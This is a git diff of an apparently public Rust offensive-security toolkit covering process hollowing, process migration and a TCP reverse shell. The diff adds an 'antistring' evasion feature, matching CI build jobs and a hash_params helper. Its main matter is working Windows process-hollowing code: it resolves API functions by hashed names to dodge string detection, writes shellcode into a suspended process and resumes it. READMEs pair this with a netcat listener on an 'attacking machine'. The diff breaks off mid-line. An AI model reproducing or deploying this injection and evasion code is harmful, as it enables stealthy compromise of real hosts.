diff --git a/.custom_shields/hash_params.json b/.custom_shields/hash_params.json new file mode 100644 index 0000000..a86dc65 --- /dev/null +++ b/.custom_shields/hash_params.json @@ -0,0 +1,6 @@ +{ + "schemaVersion": 1, + "label": "hash_params", + "message": "1.0.0", + "color": "blue" +} \ No newline at end of file diff --git a/.custom_shields/process_hollowing.json b/.custom_shields/process_hollowing.json index 2198aac..63ad086 100644 --- a/.custom_shields/process_hollowing.json +++ b/.custom_shields/process_hollowing.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "process_hollowing", - "message": "1.5.0", + "message": "1.6.0", "color": "blue" } \ No newline at end of file diff --git a/.custom_shields/process_migration.json b/.custom_shields/process_migration.json index e1df188..1bb0568 100644 --- a/.custom_shields/process_migration.json +++ b/.custom_shields/process_migration.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "process_migration", - "message": "1.7.0", + "message": "1.8.0", "color": "blue" } \ No newline at end of file diff --git a/.custom_shields/tcp_reverse_shell.json b/.custom_shields/tcp_reverse_shell.json index 0cbf696..d5ddad8 100644 --- a/.custom_shields/tcp_reverse_shell.json +++ b/.custom_shields/tcp_reverse_shell.json @@ -1,6 +1,6 @@ { "schemaVersion": 1, "label": "tcp_reverse_shell", - "message": "1.1.5", + "message": "1.2.0", "color": "blue" } \ No newline at end of file diff --git a/.github/workflows/linux.yml b/.github/workflows/linux.yml index bbb6ef7..ee367f5 100644 --- a/.github/workflows/linux.yml +++ b/.github/workflows/linux.yml @@ -1,10 +1,10 @@ name: RCO for Linux targets on: - push: - branches: [ master ] pull_request: branches: [ master ] + push: + branches: [ master ] env: CARGO_TERM_COLOR: always @@ -23,6 +23,45 @@ jobs: - name: Build reverse shell for Linux run: cargo build -p tcp_reverse_shell --verbose + linux-reverse-shell-antisand: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build reverse shell for Linux + run: cargo build -p tcp_reverse_shell --features antisand --verbose + + linux-reverse-shell-antistring: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build reverse shell for Linux + run: cargo build -p tcp_reverse_shell --features antistring --verbose + + linux-reverse-shell-all: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build reverse shell for Linux + run: cargo build -p tcp_reverse_shell --features antisand,antistring --verbose + linux-process-migration: runs-on: ubuntu-latest @@ -62,6 +101,19 @@ jobs: - name: Build process migration for Linux run: cargo build -p process_migration --features antisand --verbose + linux-process-migration-antistring: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build process migration for Linux + run: cargo build -p process_migration --features antistring --verbose + linux-process-migration-all: runs-on: ubuntu-latest @@ -73,7 +125,7 @@ jobs: - name: Update cargo run: cargo update - name: Build process migration for Linux - run: cargo build -p process_migration --features xor,antisand --verbose + run: cargo build -p process_migration --features xor,antisand,antistring --verbose linux-process-hollowing: @@ -114,6 +166,19 @@ jobs: - name: Build process hollowing for Linux run: cargo build -p process_hollowing --features antisand --verbose + linux-process-hollowing-antistring: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build process hollowing for Linux + run: cargo build -p process_hollowing --features antistring --verbose + linux-process-hollowing-all: runs-on: ubuntu-latest @@ -125,7 +190,7 @@ jobs: - name: Update cargo run: cargo update - name: Build process hollowing for Linux - run: cargo build -p process_hollowing --features xor,antisand --verbose + run: cargo build -p process_hollowing --features xor,antisand,antistring --verbose linux-xor-params: @@ -140,6 +205,19 @@ jobs: - name: Build xor shellcode for Linux run: cargo build -p xor_params --verbose + linux-hash-params: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build hash shellcode for Linux + run: cargo build -p hash_params --verbose + linux-all: runs-on: ubuntu-latest @@ -179,6 +257,19 @@ jobs: - name: Build all for Linux run: cargo build --features antisand --verbose + linux-all-antistring: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v2 + - name: Update rust + run: rustup update + - name: Update cargo + run: cargo update + - name: Build all for Linux + run: cargo build --features antistring --verbose + linux-all-all: runs-on: ubuntu-latest @@ -190,4 +281,4 @@ jobs: - name: Update cargo run: cargo update - name: Build all for Linux - run: cargo build --features xor,antisand --verbose + run: cargo build --features xor,antisand,antistring --verbose diff --git a/.github/workflows/shield_io_updater.yml b/.github/workflows/shield_io_updater.yml index 58d6f68..9bd4972 100644 --- a/.github/workflows/shield_io_updater.yml +++ b/.github/workflows/shield_io_updater.yml @@ -1,10 +1,10 @@ name: Shields data builder on: - push: - branches: [ master ] pull_request: branches: [ master ] + push: + branches: [ master ] jobs: update-reverse-shell: @@ -96,4 +96,27 @@ jobs: value: ${{ steps.xor_params_ver.outputs.app_version }} - uses: stefanzweifel/git-auto-commit-action@v4 with: - commit_message: "Update xor params badge data via Github Action" \ No newline at end of file + commit_message: "Update xor params badge data via Github Action" + + update-hash-params: + + runs-on: ubuntu-latest + needs: update-xor-params + + steps: + - uses: actions/checkout@v2 + with: + ref: ${{ github.head_ref }} + - uses: dante-signal31/rust-app-version@v1.0.0 + id: hash_params_ver + with: + cargo_toml_folder: 'hash_params/' + - name: Update hash_params version + uses: jossef/action-set-json-field@v1 + with: + file: '.custom_shields/hash_params.json' + field: message + value: ${{ steps.hash_params_ver.outputs.app_version }} + - uses: stefanzweifel/git-auto-commit-action@v4 + with: + commit_message: "Update hash params badge data via Github Action" \ No newline at end of file diff --git a/.github/workflows/windows.yml b/.github/workflows/windows.yml index d6b01ee..ed7080b 100644 --- a/.github/workflows/windows.yml +++ b/.github/workflows/windows.yml @@ -1,10 +1,10 @@ name: RCO for Windows targets on: - push: - branches: [ master ] pull_request: branches: [ master ] + push: + branches: [ master ] env: CARGO_TERM_COLOR: always @@ -29,6 +29,63 @@ jobs: run: cargo update - name: Build reverse shell for Windows run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --verbose + + windows-reverse-shell-antisand: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build reverse shell for Windows + run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand --verbose + + windows-reverse-shell-antistring: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build reverse shell for Windows + run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antistring --verbose + + windows-reverse-shell-all: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build reverse shell for Windows + run: cargo build -p tcp_reverse_shell --target x86_64-pc-windows-gnu --features antisand,antistring --verbose windows-process-migration: @@ -87,6 +144,25 @@ jobs: - name: Build process migration for Windows run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antisand --verbose + windows-process-migration-antistring: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build process migration for Windows + run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features antistring --verbose + windows-process-migration-all: runs-on: ubuntu-latest @@ -104,7 +180,7 @@ jobs: - name: Update cargo run: cargo update - name: Build process migration for Windows - run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand --verbose + run: cargo build -p process_migration --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose windows-process-hollowing: @@ -163,6 +239,25 @@ jobs: - name: Build process hollowing for Windows run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antisand --verbose + windows-process-hollowing-antistring: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build process hollowing for Windows + run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features antistring --verbose + windows-process-hollowing-all: runs-on: ubuntu-latest @@ -180,9 +275,9 @@ jobs: - name: Update cargo run: cargo update - name: Build process hollowing for Windows - run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand --verbose + run: cargo build -p process_hollowing --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose - windows-xor_params: + windows-xor-params: runs-on: ubuntu-latest @@ -201,6 +296,25 @@ jobs: - name: Build xor shellcode for Windows run: cargo build -p xor_params --target x86_64-pc-windows-gnu --verbose + windows-hash-params: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build xor shellcode for Windows + run: cargo build -p hash_params --target x86_64-pc-windows-gnu --verbose + windows-all: runs-on: ubuntu-latest @@ -258,6 +372,25 @@ jobs: - name: Build all for Windows run: cargo build --target x86_64-pc-windows-gnu --features antisand --verbose + windows-all-antistring: + + runs-on: ubuntu-latest + + steps: + - name: Update rust + run: rustup update + - name: Apt update + run: sudo apt-get update + - name: Install linker + run: sudo apt-get -y install mingw-w64 + - name: Add Windows build target + run: rustup target add x86_64-pc-windows-gnu + - uses: actions/checkout@v2 + - name: Update cargo + run: cargo update + - name: Build all for Windows + run: cargo build --target x86_64-pc-windows-gnu --features antistring --verbose + windows-all-all: runs-on: ubuntu-latest @@ -275,4 +408,4 @@ jobs: - name: Update cargo run: cargo update - name: Build all for Windows - run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand --verbose + run: cargo build --target x86_64-pc-windows-gnu --features xor,antisand,antistring --verbose diff --git a/Cargo.lock b/Cargo.lock index bf2a129..111c93f 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -14,12 +14,6 @@ version = "1.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" -[[package]] -name = "cc" -version = "1.0.73" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fff2a6927b3bb87f9595d67196a70493f627687a71d87a0d692242c33f58c11" - [[package]] name = "cfg-if" version = "1.0.0" @@ -37,11 +31,19 @@ dependencies = [ "wasi", ] +[[package]] +name = "hash_params" +version = "1.0.0" +dependencies = [ + "rco_config", + "rco_utils", +] + [[package]] name = "libc" -version = "0.2.122" +version = "0.2.124" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ec647867e2bf0772e28c8bcde4f0d19a9216916e890543b5a03ed8ef27b8f259" +checksum = "21a41fed9d98f27ab1c6d161da622a4fa35e8a54a8adc24bbf3ddd0ef70b0e50" [[package]] name = "memoffset" @@ -54,12 +56,11 @@ dependencies = [ [[package]] name = "nix" -version = "0.23.1" +version = "0.24.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f866317acbd3a240710c63f065ffb1e4fd466259045ccb504130b7f668f35c6" +checksum = "8f6d99b651ff9697d6710f9613a07c5b4e0d655040faf56b3b471af108d55597" dependencies = [ "bitflags", - "cc", "cfg-if", "libc", "memoffset", @@ -73,7 +74,7 @@ checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" [[package]] name = "process_hollowing" -version = "1.5.0" +version = "1.6.0" dependencies = [ "nix", "rco_config", @@ -83,7 +84,7 @@ dependencies = [ [[package]] name = "process_migration" -version = "1.7.0" +version = "1.8.0" dependencies = [ "nix", "rco_config", @@ -135,9 +136,10 @@ dependencies = [ [[package]] name = "tcp_reverse_shell" -version = "1.1.5" +version = "1.2.0" dependencies = [ "rco_config", + "rco_utils", "windows", ] diff --git a/Cargo.toml b/Cargo.toml index f2c6032..dddd9d7 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,11 +1,12 @@ [workspace] members = [ + "hash_params", + "process_hollowing", + "process_migration", "rco_config", "rco_utils", - "tcp_reverse_shell", - "process_migration", - "process_hollowing", + "tcp_reverse_shell", "xor_params", ] diff --git a/README.md b/README.md index c539aee..2d77cdc 100644 --- a/README.md +++ b/README.md @@ -11,12 +11,14 @@ RCO tools can be compiled on either Linux or Windows systems to provide its user ## Tools list -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell) - -[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration) +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params) [![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_hollowing.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_hollowing) +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fprocess_migration.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/process_migration) + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Ftcp_reverse_shell.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/tcp_reverse_shell) + [![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fxor_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/xor_params) ## Setup diff --git a/hash_params/Cargo.toml b/hash_params/Cargo.toml new file mode 100644 index 0000000..df2190d --- /dev/null +++ b/hash_params/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "hash_params" +version = "1.0.0" +edition = "2021" +authors = ["Kevin Conley "] +rust-version = "1.59" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +rco_config = {path = "../rco_config"} +rco_utils = {path = "../rco_utils", features = ["antistring"] } diff --git a/hash_params/README.md b/hash_params/README.md new file mode 100644 index 0000000..2607501 --- /dev/null +++ b/hash_params/README.md @@ -0,0 +1,26 @@ +# RCO: Hash Params + +[![Custom badge](https://img.shields.io/endpoint?url=https%3A%2F%2Fraw.githubusercontent.com%2Fkmanc%2Fremote_code_oxidation%2Fmaster%2F.custom_shields%2Fhash_params.json)](https://github.com/kmanc/remote_code_oxidation/tree/master/hash_params) + +![gif](https://user-images.githubusercontent.com/14863147/164768272-9b010714-6b81-42d1-9caf-d08324827959.gif) + + +## How it works + +Hash params performs Rust's default hash algorithm ([SipHash-1-3 at the time of this writing](https://en.wikipedia.org/wiki/SipHash)) on command line arguments and prints their output in hex. This should not be considered cryptographically secure, but works for obfuscating a value in a repeatable way. + + +## Using it + +1. [Not shown in GIF] Compile the executable + + #### For Linux + ```commandline + cargo build -p hash_params --release + ``` + + #### For Windows + ```commandline + cargo build --target x86_64-pc-windows-gnu -p hash_params --release + ``` +2. Run the executable with the desired hash targets diff --git a/hash_params/src/main.rs b/hash_params/src/main.rs new file mode 100644 index 0000000..19154fa --- /dev/null +++ b/hash_params/src/main.rs @@ -0,0 +1,9 @@ +use std::env; + +fn main() { + let args: Vec = env::args().collect(); + for arg in args[1..].iter() { + let hashed = rco_utils::calculate_hash(arg); + println!("{arg} --> {hashed:x}"); + } +} diff --git a/process_hollowing/Cargo.toml b/process_hollowing/Cargo.toml index 1bafa2f..4fbee09 100644 --- a/process_hollowing/Cargo.toml +++ b/process_hollowing/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "process_hollowing" -version = "1.5.0" +version = "1.6.0" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" @@ -10,6 +10,8 @@ rust-version = "1.59" [features] xor = ["rco_utils/xor"] antisand = ["rco_utils/antisand"] +antistring = ["rco_utils/antistring"] + [dependencies] rco_config = {path = "../rco_config"} diff --git a/process_hollowing/README.md b/process_hollowing/README.md index b597b42..f72e505 100644 --- a/process_hollowing/README.md +++ b/process_hollowing/README.md @@ -23,12 +23,12 @@ and change the shellcode to the shellcode generated in step 1 #### Build for Linux target ```commandline - cargo build -p process_hollowing [--features [xor][antisand]] --release + cargo build -p process_hollowing [xor][,][antisand][,][antistring]] --release ``` #### Build for Windows target ```commandline - cargo build --target x86_64-pc-windows-gnu -p process_hollowing [--features [xor][antisand]] --release + cargo build --target x86_64-pc-windows-gnu -p process_hollowing [xor][,][antisand][,][antistring]] --release ``` 5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1 ```commandline diff --git a/process_hollowing/src/main.rs b/process_hollowing/src/main.rs index 7998129..5ccfa08 100644 --- a/process_hollowing/src/main.rs +++ b/process_hollowing/src/main.rs @@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_HOLLOWING_TARGET; // Load Windows implementation if the target OS is Windows #[cfg(windows)] mod rco_process_hollowing_windows; -#[cfg(windows)] +#[cfg(all(windows, not(feature = "antistring")))] use rco_process_hollowing_windows::hollow_and_run; +#[cfg(all(windows, feature = "antistring"))] +use rco_process_hollowing_windows::antistring_hollow_and_run as hollow_and_run; // Determine which shellcode and target process to use based on features #[cfg(all(windows, not(feature = "xor")))] const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE; diff --git a/process_hollowing/src/rco_process_hollowing_windows/mod.rs b/process_hollowing/src/rco_process_hollowing_windows/mod.rs index 1e13d3e..3e9b7a7 100644 --- a/process_hollowing/src/rco_process_hollowing_windows/mod.rs +++ b/process_hollowing/src/rco_process_hollowing_windows/mod.rs @@ -2,8 +2,17 @@ extern crate windows; use std::{mem, ptr}; use std::ffi::{CString, c_void}; use windows::core::{PCSTR, PSTR}; +use windows::Win32::System::Threading::{CREATE_SUSPENDED,PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, STARTUPINFOA}; +#[cfg(not(feature = "antistring"))] +use windows::Win32::System::Threading::{CreateProcessA, NtQueryInformationProcess, ResumeThread}; +#[cfg(not(feature = "antistring"))] use windows::Win32::System::Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory}; -use windows::Win32::System::Threading::{CreateProcessA, CREATE_SUSPENDED, NtQueryInformationProcess, PROCESS_BASIC_INFORMATION, PROCESS_INFORMATION, PROCESSINFOCLASS, ResumeThread, STARTUPINFOA}; +#[cfg(feature = "antistring")] +use windows::Win32::Foundation::{BOOL, HANDLE}; +#[cfg(feature = "antistring")] +use windows::Win32::Security::SECURITY_ATTRIBUTES; +#[cfg(feature = "antistring")] +use windows::Win32::System::Threading::PROCESS_CREATION_FLAGS; const POINTER_SIZE: usize = mem::size_of::<&u8>(); const POINTER_SIZE_TIMES_SIX: u32 = POINTER_SIZE as u32 * 6; @@ -30,10 +39,11 @@ fn array_to_u64_lit_end(array: &[u8; 8]) -> u64 { (array[7] as u64) << 56 } +#[cfg(not(feature = "antistring"))] pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // Create empty StartupInfoA struct for use in CreateProcess - // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfow - // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOW.html + // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.STARTUPINFOA.html let startup_info: STARTUPINFOA = unsafe { mem::zeroed() }; // Create empty ProcessInformation struct for use in CreateProcess @@ -41,9 +51,9 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_INFORMATION.html let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() }; - // Use CreateProcessW to create a suspended process that will be hollowed out for the shellcode - // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw - // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessW.html + // Use CreateProcessA to create a suspended process that will be hollowed out for the shellcode + // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa + // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.CreateProcessA.html let lp_application_name: PCSTR = unsafe { mem::zeroed() }; let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8; @@ -55,7 +65,7 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { ptr::null(), false, CREATE_SUSPENDED, - ptr::null() as *const _, + ptr::null(), lp_current_directory, &startup_info, &mut process_information) }; @@ -63,16 +73,12 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { panic!("Could not create the suspended {target_process} with CreateProcessA"); } - // Create empty PROCESS_BASIC_INFORMATION struct for use in ZwQueryInformationProcess - // WINDOWS --> https://www.pinvoke.net/default.aspx/Structures/PROCESS_BASIC_INFORMATION.html - // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/struct.PROCESS_BASIC_INFORMATION.html - let process_handle = process_information.hProcess; - let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() }; - let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() }; - // Get the PEB base address of the suspended process with ZwQueryInformationProcess // WINDOWS --> https://docs.microsoft.com/en-us/windows/win32/procthread/zwqueryinformationprocess // RUST --> https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.NtQueryInformationProcess.html + let process_handle = process_information.hProcess; + let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() }; + let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() }; if let Err(error) = unsafe { NtQueryInformationProcess(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut()) } { panic!("Could not get the entry point with ZwQueryInformationProcess: {error}"); } @@ -118,3 +124,80 @@ pub fn hollow_and_run(shellcode: &[u8], target_process: &str) { panic!("Could not resume the suspended {target_process}'s execution"); } } + +#[cfg(feature = "antistring")] +pub fn antistring_hollow_and_run(shellcode: &[u8], target_process: &str) { + // See line 44 + let startup_info: STARTUPINFOA = unsafe { mem::zeroed() }; + + // See line 49 + let mut process_information: PROCESS_INFORMATION = unsafe { mem::zeroed() }; + + // See line 54 + let function = rco_utils::find_function_address("Kernel32", 0x6fe222ff0e96f5c4).unwrap(); + let lp_application_name: PCSTR = unsafe { mem::zeroed() }; + let mut lp_command_line: PSTR = unsafe { mem::zeroed() }; + lp_command_line.0 = CString::new(target_process).unwrap().into_raw() as *mut u8; + let lp_current_directory: PCSTR = unsafe { mem::zeroed() }; + unsafe { + mem::transmute::<*const (), fn(PCSTR, PSTR, *const SECURITY_ATTRIBUTES, *const SECURITY_ATTRIBUTES, bool, PROCESS_CREATION_FLAGS, *const i32, PCSTR, *const STARTUPINFOA, *const PROCESS_INFORMATION) -> BOOL> + (function)(lp_application_name, + lp_command_line, + ptr::null(), + ptr::null(), + false, + CREATE_SUSPENDED, + ptr::null() as *const _, + lp_current_directory, + &startup_info, + &mut process_information) + }; + + // See line 76 + let function = rco_utils::find_function_address("Ntdll", 0x9b0d5adddbf90f8a).unwrap(); + let process_handle = process_information.hProcess; + let mut basic_information: PROCESS_BASIC_INFORMATION = unsafe { mem::zeroed() }; + let info_class: PROCESSINFOCLASS = unsafe { mem::zeroed() }; + unsafe { + mem::transmute::<*const (), fn(HANDLE, PROCESSINFOCLASS, *mut c_void, u32, *mut u32)> + (function)(process_handle, info_class, &mut basic_information as *mut _ as *mut c_void, POINTER_SIZE_TIMES_SIX, ptr::null_mut()) + }; + + // See line 86 + let function = rco_utils::find_function_address("Kernel32", 0x1c1cfbf71004cba8).unwrap(); + let image_base_address = basic_information.PebBaseAddress as u64 + 0x10; + let mut address_buffer = [0; POINTER_SIZE]; + unsafe { + mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)> + (function)(process_handle, image_base_address as *const c_void, address_buffer.as_mut_ptr() as _, address_buffer.len(), ptr::null_mut()) + }; + + // See line 96 + let pe_base_address = array_to_u64_lit_end(&address_buffer); + let mut header_buffer = [0; 0x200]; + unsafe { + mem::transmute::<*const (), fn(HANDLE, *const c_void, *mut c_void, usize, *mut usize)> + (function)(process_handle, pe_base_address as *const c_void, header_buffer.as_mut_ptr() as _, header_buffer.len(), ptr::null_mut()) + }; + if header_buffer[0] != 77 || header_buffer[1] != 90 { + panic!("An offset looks incorrect, the DOS header magic bytes don't correspond to 'MZ'"); + } + + // See line 106 + let function = rco_utils::find_function_address("Kernel32", 0x2638fa76194bfe63).unwrap(); + let e_lfanew = array_to_u32_lit_end(&header_buffer[E_LFANEW_OFFSET..E_LFANEW_OFFSET + 0x04].try_into().unwrap()); + let opthdr_offset = e_lfanew as usize + OPTHDR_ADDITIONAL_OFFSET; + let entry_point_rva = array_to_u32_lit_end(&header_buffer[opthdr_offset..opthdr_offset + 0x04].try_into().unwrap()); + let entry_point_address = entry_point_rva as u64 + pe_base_address; + unsafe { + mem::transmute::<*const (), fn(HANDLE, *const c_void, *const c_void, usize, *mut usize)> + (function)(process_handle, entry_point_address as *const c_void, shellcode.as_ptr() as *const c_void, shellcode.len(), ptr::null_mut()) + }; + + // See line 119 + let function = rco_utils::find_function_address("Kernel32", 0x9f2eb3a0195b21d).unwrap(); + unsafe { + mem::transmute::<*const (), fn(HANDLE)> + (function)(process_information.hThread) + }; +} diff --git a/process_migration/Cargo.toml b/process_migration/Cargo.toml index 49e390b..0c46ebc 100644 --- a/process_migration/Cargo.toml +++ b/process_migration/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "process_migration" -version = "1.7.0" +version = "1.8.0" edition = "2021" authors = ["Kevin Conley "] rust-version = "1.59" @@ -10,6 +10,7 @@ rust-version = "1.59" [features] xor = ["rco_utils/xor"] antisand = ["rco_utils/antisand"] +antistring = ["rco_utils/antistring"] [dependencies] rco_config = {path = "../rco_config"} diff --git a/process_migration/README.md b/process_migration/README.md index ccd7043..2b84c6c 100644 --- a/process_migration/README.md +++ b/process_migration/README.md @@ -25,12 +25,12 @@ and change the shellcode to the shellcode generated in step 1 #### Build for Linux target ```commandline - cargo build -p process_migration [--features [xor][antisand]] --release + cargo build -p process_migration [xor][,][antisand][,][antistring]] --release ``` #### Build for Windows target ```commandline - cargo build --target x86_64-pc-windows-gnu -p process_migration [--features [xor][antisand]] --release + cargo build --target x86_64-pc-windows-gnu -p process_migration [xor][,][antisand][,][antistring]] --release ``` 5. Start a netcat listener on the attacking machine on the same port you configured the shellcode to connect to in step 1 ```commandline diff --git a/process_migration/src/main.rs b/process_migration/src/main.rs index 9b94824..4424536 100644 --- a/process_migration/src/main.rs +++ b/process_migration/src/main.rs @@ -18,8 +18,10 @@ const TARGET_PROCESS: &[u8] = rco_config::ENCRYPTED_LINUX_MIGRATION_TARGET; // Load Windows implementation if the target OS is Windows #[cfg(windows)] mod rco_process_migration_windows; -#[cfg(windows)] +#[cfg(all(windows, not(feature = "antistring")))] use rco_process_migration_windows::inject_and_migrate; +#[cfg(all(windows, feature = "antistring"))] +use rco_process_migration_windows::antistring_inject_and_migrate as inject_and_migrate; // Determine which shellcode and target process to use based on features #[cfg(all(windows, not(feature = "xor")))] const SHELLCODE: &[u8] = rco_config::WINDOWS_SHELLCODE; diff --git a/process_migration/src/rco_process_migration_windows/mod.rs b/process_migration/src/rco_process_migration_windows/mod.rs index d58a8b8..8fb1018 100644 --- a/process_migration/src/rco_process_migration_windows/mod.rs +++ b/process_migration/src/rco_process_migration_windows/mod.rs @@ -1,11 +1,29 @@ extern crate windows; use std::{mem, ptr}; use windows::Win32::Foundation::CHAR; +use 